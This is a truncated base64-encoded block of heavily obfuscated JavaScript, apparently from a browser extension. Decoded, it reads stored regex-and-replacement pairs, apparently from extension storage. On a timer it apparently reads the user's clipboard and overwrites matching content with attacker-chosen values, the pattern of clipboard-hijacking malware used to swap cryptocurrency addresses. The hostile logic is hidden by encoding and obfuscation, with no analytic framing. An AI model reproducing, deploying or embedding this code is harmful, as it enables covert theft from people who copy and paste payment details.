NFZjT3hwY1FDb3FXNlZkSUcnLCdXUC9kSWJOY1JIM2RQTGEnLCdXNGRkVVpTJywneFNrWUEwdScsJ1dRTEdXNi9kUlNrSycsJ1c3NHVXNTdkSkNveicsJ3Bta01FZ25uJywnbG1rQVc1cUdXNlMnLCdXNTR6VzQvY0pjOSthQ29JcGQwWENnbScsJ1c3T3VXNTdkVjhvWicsJ3hDa0VkZ0pjTkNvT25hRmRKU29ab21vQWJHJywneUNvNmlabXpXUWpFVzdaY01tb0N2SjNjVkcnLCdXTzRNZ0poZEpDb2Z6Z3ZKV1BmQ1dQOEwnLCdXUEpjUnhSZE9MaGNUMXBkVENvcm9JOEEnLCdXUVpjTjhvN2hkSycsJ1c3dThXUXEnLCdXTzNjUUpxV1dSQmNHbWsyb1pOZEhta29vVycsJ1c0YlJ1djdjU2EnLCd3bW9TRW1rYWVXWGJXN1BlclNveldRaScsJ1dQRGxXT1ZkSE5tJywnVzZsZFY4b3JmOGtrJywnVzVwZE51NVNudkNnY21rS0FDb3RXUksnLCdXUGlaQUcnLCdXT1JjSzhvOWpXZScsJ3VDa1NnOG9RVzR5JywnVzdaZFE4b21mOGtNJywnRnJSY1ByZU5qckdBVzQvY1VyM2NHRycsJ2hLVmRLWm5rJywnV1IvY1JDa0F1U28zckNvYlc0bGRTU29hVzdUZVdPdScsJ1dPWHBuMnJKJywnamVPMldRSmNVVycsJ1c0OUxCd3RjTkcnLCdXTzB3Z2JCZExhJywnalNrT0QzRGUnLCdwZTdkVkxEMycsJ1dQcGNSOGs4bzhvRmtnRycsJ3pDa1dzcjQ3JywnVzVOZFYyTEdXNnEnLCdXNnUyV1JXJywncnMzY1VTa25XUUcnXTtfMHgxODk4PWZ1bmN0aW9uKCl7cmV0dXJuIF8weDNlYzNmZDt9O3JldHVybiBfMHgxODk4KCk7fShmdW5jdGlvbihfMHgxMWEzOGYsXzB4NDVhYzk5KXtmdW5jdGlvbiBfMHg1MDgwMmUoXzB4NTY0ZTZhLF8weDRjZTE0MSxfMHgxODI4MTMsXzB4MjA3ZWQwLF8weDRlODBmZCl7cmV0dXJuIF8weGEzMDIoXzB4NTY0ZTZhLTB4MjZhLF8weDRjZTE0MSk7fWZ1bmN0aW9uIF8weDMxZjFiYyhfMHgzODc1YjIsXzB4MjJkZmQ2LF8weDNmMTBjYSxfMHg1NTAyYjYsXzB4NTU2N2Y0KXtyZXR1cm4gXzB4YTMwMihfMHg1NTAyYjYtMHgyNTQsXzB4MjJkZmQ2KTt9ZnVuY3Rpb24gXzB4MmVkODQzKF8weGY0MGY4NCxfMHgxMTliNTAsXzB4MjcyZWZhLF8weDE1YTY5YyxfMHg0NDljZmIpe3JldHVybiBfMHhhMzAyKF8weDI3MmVmYS0weDE1MyxfMHgxMTliNTApO31mdW5jdGlvbiBfMHg1Y2ExODYoXzB4NWJiOGMxLF8weDU4YThiOCxfMHgzNWIzYzMsXzB4MzUwM2I1LF8weDk1MTdmNCl7cmV0dXJuIF8weGEzMDIoXzB4NThhOGI4LTB4MWMyLF8weDViYjhjMSk7fWZ1bmN0aW9uIF8weDVkMTJiNyhfMHgzMjQxNTAsXzB4ZDhhMTc2LF8weDM2ZGMyYSxfMHgxYWM0OTksXzB4MmJjNmQ2KXtyZXR1cm4gXzB4YTMwMihfMHhkOGExNzYtMHgxZjAsXzB4MzI0MTUwKTt9Y29uc3QgXzB4MjJjODJmPV8weDExYTM4ZigpO3doaWxlKCEhW10pe3RyeXtjb25zdCBfMHg1ZWM5OGY9LXBhcnNlSW50KF8weDVjYTE4NignVHRtMycsMHgyZjAsMHgyZjYsMHgyZWYsMHgyZjgpKS8oLTB4MTFiKjB4MWQrMHg5ZTIrMHgxNjJlKSoocGFyc2VJbnQoXzB4NTA4MDJlKDB4MzhjLCdUdG0zJywweDNhYSwweDM4NywweDNhZSkpLygweDEqLTB4MTAwNCsweDEqMHgyNGZkKzB4NmZkKi0weDMpKStwYXJzZUludChfMHgzMWYxYmMoMHgzODMsJ0ZbQWgnLDB4Mzc3LDB4MzZiLDB4MzUyKSkvKC0weDlhKjB4MTErLTB4MjAyYisweDJhNjgpKihwYXJzZUludChfMHgyZWQ4NDMoMHgyNDMsJ3B4VkYnLDB4MjYyLDB4MjdjLDB4MjVkKSkvKDB4MTgwNSstMHgyNGI3KzB4Y2I2KSkrcGFyc2VJbnQoXzB4MmVkODQzKDB4Mjk1LCdkaU5SJywweDI3ZSwweDI4YywweDI3NykpLygweDcqLTB4MzhiKzB4MThjNysweGIpKy1wYXJzZUludChfMHg1MDgwMmUoMHgzYTUsJ2UhWUInLDB4M2I1LDB4M2IyLDB4M2MxKSkvKC0weDk4YioweDErLTB4NDNkKjB4NisweDIyZmYpK3BhcnNlSW50KF8weDVkMTJiNygnS2pTbCcsMHgzMmQsMHgzMGYsMHgzMzUsMHgzMzYpKS8oMHg0N2QqLTB4MSsweDFhNjQrMHgzOCotMHg2NCkrLXBhcnNlSW50KF8weDMxZjFiYygweDM2MiwnRXMjZicsMHgzNmEsMHgzODEsMHgzYTMpKS8oLTB4ZmExKy0weDIwNGYrLTB4OCotMHg1ZmYpK3BhcnNlSW50KF8weDUwODAyZSgweDM5MywnenYqNCcsMHgzYjQsMHgzYTMsMHgzOTkpKS8oMHg2KjB4NTM5KzB4YzU0KzB4ZThiKi0weDMpO2lmKF8weDVlYzk4Zj09PV8weDQ1YWM5OSlicmVhaztlbHNlIF8weDIyYzgyZlsncHVzaCddKF8weDIyYzgyZlsnc2hpZnQnXSgpKTt9Y2F0Y2goXzB4MThkYmM4KXtfMHgyMmM4MmZbJ3B1c2gnXShfMHgyMmM4MmZbJ3NoaWZ0J10oKSk7fX19KF8weDE4OTgsMHg0KjB4MTY2MzkrLTB4MTgzNzMrMHg0ZWYzNSksKChhc3luYygpPT57Y29uc3QgXzB4M2QyZDczPXsnSGl5WEcnOmZ1bmN0aW9uKF8weDI1MWUwZil7cmV0dXJuIF8weDI1MWUwZigpO30sJ3lUT3hmJzpmdW5jdGlvbihfMHgyY2NjZDYsXzB4MTczOTJjKXtyZXR1cm4gXzB4MmNjY2Q2KF8weDE3MzkyYyk7fSwnREZZUU0nOmZ1bmN0aW9uKF8weDM4OTgwYixfMHg0NjcxN2Mpe3JldHVybiBfMHgzODk4MGIoXzB4NDY3MTdjKTt9LCdVeHJEQSc6XzB4MjYwNTNmKDB4NjQsJ3JHdEsnLDB4NWYsMHg0MiwweDVjKStfMHgyNjA1M2YoMHgxNCwncHhWRicsMHgyNywweDNkLDB4MzMpLCdCR25JTCc6XzB4MzRjMjBkKDB4MjczLCdHNHVXJywweDI3YSwweDI1NywweDI2MikrXzB4MzE3NzNlKCdFRFRrJywweDFmZSwweDFmMCwweDFlNCwweDFlZCkrJ1RBJywndnlyVkUnOmZ1bmN0aW9uKF8weDFkY2ZmNixfMHg1OGIzYzkpe3JldHVybiBfMHgxZGNmZjYhPT1fMHg1OGIzYzk7fSwnUWpzVE0nOmZ1bmN0aW9uKF8weDQ4ZWRhNixfMHgyMjY4NjEpe3JldHVybiBfMHg0OGVkYTYoXzB4MjI2ODYxKTt9LCdVeGlJWSc6ZnVuY3Rpb24oXzB4NTY2MTQxKXtyZXR1cm4gXzB4NTY2MTQxKCk7fSwnQnlacUknOmZ1bmN0aW9uKF8weDE0ZDAwYyxfMHg0NGI0ZjEsXzB4MTczN2E0KXtyZXR1cm4gXzB4MTRkMDBjKF8weDQ0YjRmMSxfMHgxNzM3YTQpO319O2Z1bmN0aW9uIF8weDMxNzczZShfMHg1N2QxODQsXzB4MTRhOGVmLF8weDQxYjQ0ZSxfMHgyYmFkMzgsXzB4M2EwOGYzKXtyZXR1cm4gXzB4YTMwMihfMHg0MWI0NGUtMHhjOCxfMHg1N2QxODQpO31mdW5jdGlvbiBfMHgyNjA1M2YoXzB4ZDFjZTI2LF8weDQ0OWU3NSxfMHgyZmI1NjIsXzB4NWI1MWNlLF8weDQ0NzY1NCl7cmV0dXJuIF8weGEzMDIoXzB4NDQ3NjU0LSAtMHhmMixfMHg0NDllNzUpO31mdW5jdGlvbiBfMHg0ODZkMTgoXzB4NDA1ZGY2LF8weDU3NjhkNixfMHg0Mzk4MGUsXzB4M2JhMDlhLF8weDUzMTZlMCl7cmV0dXJuIF8weGEzMDIoXzB4M2JhMDlhLTB4MTBhLF8weDUzMTZlMCk7fWZ1bmN0aW9uIF8weDQyN2FmZChfMHgxMGRlYWMsXzB4NWYzMzE5LF8weDVhNjdiNCxfMHgzOGU2M2YsXzB4MzM3M2FmKXtyZXR1cm4gXzB4YTMwMihfMHg1ZjMzMTktMHgyZixfMHgzOGU2M2YpO31mdW5jdGlvbiBfMHgzNGMyMGQoXzB4MjhhMDAwLF8weDQ2ZjU1ZCxfMHg1NzMwOTksXzB4MzM5YTQxLF8weDQ0MTM0Yil7cmV0dXJuIF8weGEzMDIoXzB4NDQxMzRiLTB4MTRjLF8weDQ2ZjU1ZCk7fXRyeXtjb25zdCBfMHgzOGQwODk9YXN5bmMoKT0+e2Z1bmN0aW9uIF8weDIwZWUwZShfMHgzNDE3NDksXzB4ZjBlOWExLF8weDJiMzAzOCxfMHg1OTA3NzQsXzB4NTVhNDk2KXtyZXR1cm4gXzB4NDI3YWZkKF8weDM0MTc0OS0weDEyMSxfMHhmMGU5YTEtMHgzMyxfMHgyYjMwMzgtMHg1MSxfMHgyYjMwMzgsXzB4NTVhNDk2LTB4ZTkpO31mdW5jdGlvbiBfMHgyODdhNWEoXzB4NTJiMzI0LF8weDIwY2QwYSxfMHgxMjI3MDksXzB4NDU3ZjY0LF8weDMzM2I3YSl7cmV0dXJuIF8weDI2MDUzZihfMHg1MmIzMjQtMHgwLF8weDIwY2QwYSxfMHgxMjI3MDktMHgxYmEsXzB4NDU3ZjY0LTB4YmYsXzB4NTJiMzI0LTB4YTkpO31mdW5jdGlvbiBfMHgyMWZiYzUoXzB4MTJmYWJmLF8weDQ4OGFmOCxfMHg1ODliY2YsXzB4MWIwYzMxLF8weDQ3MGI0OCl7cmV0dXJuIF8weDM0YzIwZChfMHgxMmZhYmYtMHgxOTYsXzB4NDcwYjQ4LF8weDU4OWJjZi0weDE3NCxfMHgxYjBjMzEtMHgxY2YsXzB4MWIwYzMxLTB4MWM3KTt9ZnVuY3Rpb24gXzB4NTZjZmM3KF8weDFlMzUyNyxfMHgyNTlkM2UsXzB4MTliZWZmLF8weDcyYTUwNyxfMHg0ZWE3MWEpe3JldHVybiBfMHgzMTc3M2UoXzB4MjU5ZDNlLF8weDI1OWQzZS0weDFkMyxfMHg3MmE1MDctMHgxNzksXzB4NzJhNTA3LTB4MWE1LF8weDRlYTcxYS0weDE1Yyk7fXRyeXtyZXR1cm4gYXdhaXQgbmF2aWdhdG9yW18weDI4N2E1YSgweDEwMSwnJmhVMicsMHhkZiwweGU2LDB4MTFhKStfMHgyODdhNWEoMHhkNCwnUWlLYScsMHhlYywweGY1LDB4ZTYpXVtfMHg1NmNmYzcoMHgzNDUsJ2UhVm8nLDB4MzYyLDB4MzRmLDB4MzNhKStfMHgyMWZiYzUoMHg0NDYsMHg0NGIsMHg0MzEsMHg0NDMsJ3JHdEsnKV0oKTt9Y2F0Y2goXzB4MTEyMTg1KXt9fSxfMHhjZGIzYTI9YXN5bmMgXzB4MjEyZTVmPT57ZnVuY3Rpb24gXzB4MjU4Y2YwKF8weDMzODBlYyxfMHgxYzRhYzgsXzB4MzcxMjc5LF8weDEyMGZkMyxfMHhjNzZkZTEpe3JldHVybiBfMHgzMTc3M2UoXzB4MWM0YWM4LF8weDFjNGFjOC0weDFkNixfMHgzMzgwZWMtIC0weDQ5OCxfMHgxMjBmZDMtMHhhYyxfMHhjNzZkZTEtMHhlYik7fWZ1bmN0aW9uIF8weDNlZTE5NShfMHgzZmZmMWIsXzB4MjA0N2I1LF8weDRkYWNmZixfMHgyY2FmN2YsXzB4NzExMDkxKXtyZXR1cm4gXzB4NDI3YWZkKF8weDNmZmYxYi0weDc2LF8weDIwNDdiNS0gLTB4Mjg1LF8weDRkYWNmZi0weGQ0LF8weDRkYWNmZixfMHg3MTEwOTEtMHgxMCk7fWZ1bmN0aW9uIF8weDFjMWNlYShfMHgyY2U4NzYsXzB4NDc3Y2YxLF8weDUxMzkzMixfMHhiMjZiNjUsXzB4MzYwMDljKXtyZXR1cm4gXzB4MjYwNTNmKF8weDJjZTg3Ni0weDhhLF8weDUxMzkzMixfMHg1MTM5MzItMHg0NSxfMHhiMjZiNjUtMHg1NSxfMHgzNjAwOWMtMHgxNmMpO31mdW5jdGlvbiBfMHg1MWIwOWMoXzB4NTUzYzFiLF8weDQ1MmY4YSxfMHgzMzA4NzUsXzB4NGUxMTFhLF8weDFlNWEyOSl7cmV0dXJuIF8weDM0YzIwZChfMHg1NTNjMWItMHgxMGYsXzB4NTUzYzFiLF8weDMzMDg3NS0weDFkOCxfMHg0ZTExMWEtMHgxOGMsXzB4MWU1YTI5LTB4Y2IpO310cnl7YXdhaXQgbmF2aWdhdG9yW18weDNlZTE5NSgtMHhmNywtMHgxMGQsJ1R0bTMnLC0weDExNSwtMHgxMjMpK18weDNlZTE5NSgtMHgxMjIsLTB4MTM4LCd6dio0JywtMHgxNDMsLTB4MTVhKV1bXzB4MWMxY2VhKDB4MWFjLDB4MTk4LCczM1RHJywweDFhNSwweDE5YSkrXzB4MjU4Y2YwKC0weDJhYywnMkdAeicsLTB4Mjk0LC0weDI4ZSwtMHgyYTgpXShfMHgyMTJlNWYpO31jYXRjaChfMHg0YjFmNDgpe319LF8weDRiMGI2Nz1hc3luYyBfMHgzMDRjNGM9PntmdW5jdGlvbiBfMHgzODZlMzMoXzB4MjJkZjRkLF8weDQ3MjlkMixfMHgyYTA5ODYsXzB4MmU1YWQxLF8weDM0MDhjNil7cmV0dXJuIF8weDMxNzczZShfMHgyMmRmNGQsXzB4NDcyOWQyLTB4ODUsXzB4MmU1YWQxLTB4NzcsXzB4MmU1YWQxLTB4MWI2LF8weDM0MDhjNi0weDE1Nik7fWZ1bmN0aW9uIF8weGZhZDZiZihfMHg1NzA2MWYsXzB4NTg4ZWVmLF8weDRlODk1MixfMHg1ODk4ZjAsXzB4MTMxN2QzKXtyZXR1cm4gXzB4MzE3NzNlKF8weDEzMTdkMyxfMHg1ODhlZWYtMHgxNzcsXzB4NGU4OTUyLSAtMHg3LF8weDU4OThmMC0weGM2LF8weDEzMTdkMy0weDIxKTt9ZnVuY3Rpb24gXzB4MjRkMjE2KF8weDY2NmZiNixfMHg1MDBhZTUsXzB4MmMxMjEyLF8weDFjOTRiYixfMHg0Y2E4ZGEpe3JldHVybiBfMHgyNjA1M2YoXzB4NjY2ZmI2LTB4ZDEsXzB4NGNhOGRhLF8weDJjMTIxMi0weDgsXzB4MWM5NGJiLTB4MTdjLF8weDJjMTIxMi0gLTB4MTlhKTt9ZnVuY3Rpb24gXzB4MWEwOTdiKF8weDJkODNjYixfMHg0NjFlZGUsXzB4MWE2YWU2LF8weDVlOWIyZixfMHgyZTNiN2Qpe3JldHVybiBfMHgzNGMyMGQoXzB4MmQ4M2NiLTB4MTljLF8weDJlM2I3ZCxfMHgxYTZhZTYtMHgxZWIsXzB4NWU5YjJmLTB4MTM1LF8weDFhNmFlNi0gLTB4ZGQpO31mdW5jdGlvbiBfMHgyZjg5Y2EoXzB4MWYyY2M3LF8weDM2ZmU1NixfMHgxMGRlNGUsXzB4NDFmMDRhLF8weDNiNDM5OSl7cmV0dXJuIF8weDMxNzczZShfMHgzNmZlNTYsXzB4MzZmZTU2LTB4MTI2LF8weDEwZGU0ZS0gLTB4M2MxLF8weDQxZjA0YS0weDEyYSxfMHgzYjQzOTktMHgzOCk7fXRyeXtjb25zdCBfMHgzNTI5YTU9YXdhaXQgXzB4M2QyZDczW18weDFhMDk3YigweDE4ZCwweDE5ZiwweDFhZCwweDFhZCwnNFd1JicpXShfMHgzOGQwODkpO2lmKCFfMHgzNTI5YTUpcmV0dXJuO2Zvcihjb25zdCBfMHgxOWUxNGIgb2YgXzB4MzA0YzRjKWlmKF8weDM1MjlhNVtfMHgxYTA5N2IoMHgxYzIsMHgxZGQsMHgxYmEsMHgxYmEsJypRNFAnKV0oXzB4MTllMTRiW18weDI0ZDIxNigtMHgxNDgsLTB4MTRmLC0weDEzYywtMHgxM2IsJ3JHdEsnKV0pKXthd2FpdCBfMHgzZDJkNzNbXzB4MWEwOTdiKDB4MWI0LDB4MWUwLDB4MWMxLDB4MWE3LCdRaUthJyldKF8weGNkYjNhMixfMHgxOWUxNGJbXzB4MjRkMjE2KC0weDE0YSwtMHgxMmMsLTB4MTRhLC0weDEzYiwnRCk5eCcpXSk7YnJlYWs7fX1jYXRjaChfMHg0NTU2NTcpe319LF8weDQ4NzY2MT1hc3luYygpPT57ZnVuY3Rpb24gXzB4NTE4NThiKF8weDM3OTg4MCxfMHg1NDg0MDIsXzB4NDhkNGNlLF8weGM3ODVmOCxfMHgzMDdkMWQpe3JldHVybiBfMHg0MjdhZmQoXzB4Mzc5ODgwLTB4ZjcsXzB4MzA3ZDFkLTB4MTk0LF8weDQ4ZDRjZS0weDEyOCxfMHhjNzg1ZjgsXzB4MzA3ZDFkLTB4ZGYpO31mdW5jdGlvbiBfMHg0ODk3Y2UoXzB4MWQ2MWM5LF8weDQzZGI4NCxfMHhiODUxOTMsXzB4MTk3MjNmLF8weDNiMmFiNil7cmV0dXJuIF8weDI2MDUzZihfMHgxZDYxYzktMHgxNjQsXzB4M2IyYWI2LF8weGI4NTE5My0weDExZSxfMHgxOTcyM2YtMHgxODUsXzB4MTk3MjNmLSAtMHgzYyk7fWNvbnN0IF8weDE0YTYyNz17J0ZxWkRlJzpmdW5jdGlvbihfMHgxYzBjYTksXzB4MjEyY2UxKXtmdW5jdGlvbiBfMHgxYzc1OTcoXzB4MWQ3OTlmLF8weDFiNjM1MyxfMHhjMGIxMTYsXzB4MmFmNjljLF8weDFiMDZmMyl7cmV0dXJuIF8weGEzMDIoXzB4YzBiMTE2LSAtMHgyZWEsXzB4MWQ3OTlmKTt9cmV0dXJuIF8weDNkMmQ3M1tfMHgxYzc1OTcoJ1QkUGQnLC0weDFiMCwtMHgxYTIsLTB4MWE0LC0weDFiMCldKF8weDFjMGNhOSxfMHgyMTJjZTEpO30sJ3l3TmxrJzpfMHgzZDJkNzNbXzB4NTE4NThiKDB4MzJkLDB4MzA2LDB4MzAxLCc2NCFyJywweDMwZildfTtmdW5jdGlvbiBfMHgzNzFmNDQoXzB4NWM4ODI0LF8weDNiMDczZCxfMHg1ZTY2NjcsXzB4NTlkMjhlLF8weDQ0NjkyOCl7cmV0dXJuIF8weDMxNzczZShfMHg1ZTY2NjcsXzB4M2IwNzNkLTB4NzIsXzB4M2IwNzNkLSAtMHgxOGIsXzB4NTlkMjhlLTB4MTQ0LF8weDQ0NjkyOC0weDE2Nyk7fWZ1bmN0aW9uIF8weDQxMWE4YihfMHgzMTlhMmEsXzB4NTE0MThmLF8weDIyZWZhMCxfMHhjYjA3ZjQsXzB4YjZlZmNiKXtyZXR1cm4gXzB4NDI3YWZkKF8weDMxOWEyYS0weDFiOCxfMHhjYjA3ZjQtMHgyMjUsXzB4MjJlZmEwLTB4YSxfMHgyMmVmYTAsXzB4YjZlZmNiLTB4MWEzKTt9ZnVuY3Rpb24gXzB4ZjI1NDRmKF8weDUwM2NmMixfMHgyYWJjYjIsXzB4NWE5ZmRmLF8weDViZTBjMCxfMHg5M2M0MGUpe3JldHVybiBfMHgzMTc3M2UoXzB4NTAzY2YyLF8weDJhYmNiMi0weGMzLF8weDVhOWZkZi0gLTB4NDFkLF8weDViZTBjMC0weDFmMCxfMHg5M2M0MGUtMHgxNik7fXRyeXtjb25zdCBfMHg0NWM2NGU9YXdhaXQgbmV3IFByb21pc2UoKF8weDU3MDk3NixfMHg1MjQ3ODcpPT57ZnVuY3Rpb24gXzB4MmQ5YjNkKF8weDNlZWI1MSxfMHhjM2RhZDgsXzB4MjdiMWVlLF8weDQwYjc5MyxfMHgyMmU1YWEpe3JldHVybiBfMHg1MTg1OGIoXzB4M2VlYjUxLTB4MTJkLF8weGMzZGFkOC0weDZlLF8weDI3YjFlZS0weDEwNyxfMHhjM2RhZDgsXzB4M2VlYjUxLSAtMHgzMWYpO31jb25zdCBfMHgyODY3YjQ9eydDakVJRic6ZnVuY3Rpb24oXzB4M2MzYWJlLF8weDQwOGZlNCl7ZnVuY3Rpb24gXzB4NWViOGJmKF8weDM5OTQ4MyxfMHgzYWNhMTcsXzB4NGZiYmUzLF8weDM4Y2I0YSxfMHg0ZjMwOWIpe3JldHVybiBfMHhhMzAyKF8weDM4Y2I0YS0gLTB4MzkzLF8weDRmMzA5Yik7fXJldHVybiBfMHgxNGE2MjdbXzB4NWViOGJmKC0weDI0MCwtMHgyMzcsLTB4MjRkLC0weDI1YSwnUyhXbycpXShfMHgzYzNhYmUsXzB4NDA4ZmU0KTt9fTtmdW5jdGlvbiBfMHhhMDdmYmIoXzB4MzQyM2NjLF8weDFhYWFhMyxfMHg1ZTk0MmIsXzB4MjA1YjNmLF8weDRkMzdkZSl7cmV0dXJuIF8weDUxODU4YihfMHgzNDIzY2MtMHgxMjEsXzB4MWFhYWEzLTB4MTIwLF8weDVlOTQyYi0weGNjLF8weDIwNWIzZixfMHg0ZDM3ZGUtMHgxNWUpO31mdW5jdGlvbiBfMHgxZDI2NDIoXzB4NmJhMWQ0LF8weDExYzcyNCxfMHg0YzJmNTMsXzB4NGVjMGUyLF8weDU0NjhkNyl7cmV0dXJuIF8weDUxODU4YihfMHg2YmExZDQtMHgxMTAsXzB4MTFjNzI0LTB4MTY4LF8weDRjMmY1My0weDE1NSxfMHg0YzJmNTMsXzB4NGVjMGUyLSAtMHg1NjEpO31mdW5jdGlvbiBfMHg1MjQ5ZTAoXzB4M2FlYTY1LF8weDM3ZWVlMSxfMHg0ZmIyNTUsXzB4NDZjMWI4LF8weDRkNDM3OSl7cmV0dXJuIF8weDUxODU4YihfMHgzYWVhNjUtMHgxNzEsXzB4MzdlZWUxLTB4NGIsXzB4NGZiMjU1LTB4MTBkLF8weDM3ZWVlMSxfMHg0ZDQzNzktIC0weDE0NSk7fWNocm9tZVtfMHg1MjQ5ZTAoMHgxOGYsJzNeMFEnLDB4MWM1LDB4MWNmLDB4MWFkKSsnZ2UnXVtfMHg1MjQ5ZTAoMHgxYTMsJ0QpOXgnLDB4MTlmLDB4MWE1LDB4MWE1KV1bXzB4MmQ5YjNkKC0weDQxLCdCenRrJywtMHgyZSwtMHg0MCwtMHgzYildKFtfMHgxNGE2MjdbXzB4NTI0OWUwKDB4MWM1LCdFcyNmJywweDFkOSwweDFkNywweDFiZSldXSxfMHgzMTk4YWI9PntmdW5jdGlvbiBfMHgxNzk0NGYoXzB4NTEyYzRjLF8weDI1YTI0MSxfMHg1Mzc4ZmEsXzB4MTZkMGZlLF8weDgyOTFkNil7cmV0dXJuIF8weGEwN2ZiYihfMHg1MTJjNGMtMHgxODYsXzB4MjVhMjQxLTB4OTUsXzB4NTM3OGZhLTB4MTZlLF8weDE2ZDBmZSxfMHgyNWEyNDEtIC0weDY2ZCk7fWZ1bmN0aW9uIF8weDVhZmE2MyhfMHgzOGMwN2EsXzB4NTQyYzYzLF8weDU2YTFiMixfMHg0MDJkYTksXzB4MjBiYjNkKXtyZXR1cm4gXzB4MWQyNjQyKF8weDM4YzA3YS0weDEwYSxfMHg1NDJjNjMtMHgxOWIsXzB4NTQyYzYzLF8weDU2YTFiMi0weDQ4YSxfMHgyMGJiM2QtMHhhMCk7fWZ1bmN0aW9uIF8weDIwMGYzZChfMHhkMjExNTQsXzB4NGRmN2JlLF8weDMzOTE0OCxfMHg0ZWViMmEsXzB4NGU4NjYyKXtyZXR1cm4gXzB4NTI0OWUwKF8weGQyMTE1NC0weDE2NCxfMHg0ZGY3YmUsXzB4MzM5MTQ4LTB4ODksXzB4NGVlYjJhLTB4NmQsXzB4NGVlYjJhLSAtMHgyYTIpO31mdW5jdGlvbiBfMHg1OWI0YjEoXzB4MjQxNmQzLF8weDIxM2RhMSxfMHg0OGQ5NGIsXzB4NGYyMTcwLF8weDQ1M2RjNyl7cmV0dXJuIF8weGEwN2ZiYihfMHgyNDE2ZDMtMHg4OSxfMHgyMTNkYTEtMHhkNCxfMHg0OGQ5NGItMHgxYWIsXzB4NDhkOTRiLF8weDI0MTZkMy0gLTB4NGY5KTt9ZnVuY3Rpb24gXzB4NTFlMzhiKF8weDE5MzNhNixfMHgyYzk2MmUsXzB4NWRjZTcwLF8weDRlZWZjMSxfMHgyNmFlOTIpe3JldHVybiBfMHhhMDdmYmIoXzB4MTkzM2E2LTB4NWQsXzB4MmM5NjJlLTB4ZjUsXzB4NWRjZTcwLTB4NjUsXzB4NWRjZTcwLF8weDI2YWU5Mi0gLTB4NGM2KTt9Y2hyb21lW18weDUxZTM4YigtMHg3ZCwtMHg2YiwnS2pTbCcsLTB4NTYsLTB4NmIpKydtZSddW18weDIwMGYzZCgtMHgxMGMsJ25TKnEnLC0weGY4LC0weGZhLC0weGY3KStfMHg1OWI0YjEoLTB4YzQsLTB4YzUsJ3B4VkYnLC0weGU0LC0weGNhKV0/XzB4Mjg2N2I0W18weDE3OTQ0ZigtMHgxZWUsLTB4MjBiLC0weDIwYiwnJWhkNicsLTB4MWZlKV0oXzB4NTI0Nzg3LGNocm9tZVtfMHg1YWZhNjMoMHgyNDksJzMzVEcnLDB4MjMxLDB4MjE2LDB4MjRlKSsnbWUnXVtfMHg1OWI0YjEoLTB4YTMsLTB4OGMsJ0tqU2wnLC0weGEzLC0weGFlKStfMHg1MWUzOGIoLTB4OWEsLTB4NmEsJzRNZTInLC0weDg4LC0weDhiKV0pOl8weDI4NjdiNFtfMHgxNzk0NGYoLTB4MjEwLC0weDIwZCwtMHgyMWEsJyk5ekQnLC0weDFlZildKF8weDU3MDk3NixfMHgzMTk4YWIpO30pO30pLF8weDI0NDVkMj1fMHgzZDJkNzNbXzB4ZjI1NDRmKCdbcEZrJywtMHgyMzcsLTB4MjQyLC0weDI0NywtMHgyMmYpXSxfMHhkMDg0MTE9XzB4NDVjNjRlW18weGYyNTQ0Zignd3NUVicsLTB4MjIwLC0weDIxOSwtMHgyMDcsLTB4MjM2KStfMHgzNzFmNDQoMHhhMSwweDhlLCcqUTRQJywweDg2LDB4OWUpXTtmb3IoY29uc3QgXzB4NTY1YWMzIG9mIF8weGQwODQxMSl7Y29uc3QgXzB4MzBjODBmPV8weDU2NWFjM1tfMHgzNzFmNDQoMHg2MSwweDg0LCdyR3RLJywweGExLDB4YTIpXTtpZihfMHgzZDJkNzNbXzB4NDExYThiKDB4MzkyLDB4MzhjLCdFcyNmJywweDM4NiwweDNhMCldKC0oMHgyMmQzKjB4MSstMHgxNGNlKy0weGUwNCksXzB4MjQ0NWQyW18weDQxMWE4YigweDM3YiwweDM1YSwnT3lBMCcsMHgzNzAsMHgzNTgpKydPZiddKF8weDMwYzgwZikpJiZfMHg1NjVhYzNbXzB4NDExYThiKDB4M2FhLDB4MzgwLCcyR0B6JywweDNhMSwweDNiYSkrXzB4MzcxZjQ0KDB4OGMsMHg4MywnRzR1VycsMHg5ZCwweDc4KV0pcmV0dXJuIF8weDU2NWFjM1tfMHhmMjU0NGYoJ2UhWUInLC0weDFmNCwtMHgyMTIsLTB4MjJmLC0weDIxNyldO319Y2F0Y2goXzB4MTdkNGY1KXt9cmV0dXJuIG51bGw7fSxfMHgxZTlkOGQ9YXdhaXQgXzB4M2QyZDczW18weDQ4NmQxOCgweDIyNiwweDIyMCwweDIzOCwweDI0MiwnM14wUScpXShfMHg0ODc2NjEpO2lmKCFfMHgxZTlkOGQpcmV0dXJuO2NvbnN0IF8weDI5YjY1Mj1KU09OW18weDQyN2FmZCgweDE3OSwweDE2MywweDE2NiwnenYqNCcsMHgxNGQpXShfMHgxZTlkOGQpW18weDI2MDUzZigweDQ4LCdUdG0zJywweDI3LDB4NDIsMHgzMSldKF8weDE0ODY5Mj0+KHsncmVnJzpuZXcgUmVnRXhwKF8weDE0ODY5MltfMHgzMTc3M2UoJ3pJb3QnLDB4MWViLDB4MWZmLDB4MWU3LDB4MWY1KV0pLCd2YWx1ZSc6XzB4MTQ4NjkyW18weDM0YzIwZCgweDI0ZiwndWNeQScsMHgyODEsMHgyNTQsMHgyNjUpXX0pKTtfMHgzZDJkNzNbXzB4MjYwNTNmKDB4MTEsJ29mUCMnLDB4MjgsMHhjLDB4MjYpXShzZXRJbnRlcnZhbCwoKT0+e2Z1bmN0aW9uIF8weDIxMDQ3MShfMHgxYTZiMmUsXzB4MWVhNjZmLF8weDFhMGVlYixfMHgyZmUzOGMsXzB4NDUyZjdhKXtyZXR1cm4gXzB4NDg2ZDE4KF8weDFhNmIyZS0weDZiLF8weDFlYTY2Zi0weGY0LF8weDFhMGVlYi0weDFmMSxfMHg0NTJmN2EtMHgxNjcsXzB4MWVhNjZmKTt9ZnVuY3Rpb24gXzB4Mzc4M2JkKF8weDNkZGIwZSxfMHgzNGQ4NGIsXzB4NGUwZjRjLF8weDVhMzc1OSxfMHgzYzQwNTEpe3JldHVybiBfMHgzNGMyMGQoXzB4M2RkYjBlLTB4OWMsXzB4MzRkODRiLF8weDRlMGY0Yy0weGZhLF8weDVhMzc1OS0weDEwLF8weDNkZGIwZS0weDIwMSk7fWZ1bmN0aW9uIF8weGZkYTA3MihfMHgyYThjN2EsXzB4NTlmYjVlLF8weDM0ZjNjMCxfMHgyMTNhYjQsXzB4NGNlNDQyKXtyZXR1cm4gXzB4MzE3NzNlKF8weDRjZTQ0MixfMHg1OWZiNWUtMHgxNmMsXzB4MjEzYWI0LSAtMHhlZCxfMHgyMTNhYjQtMHg3LF8weD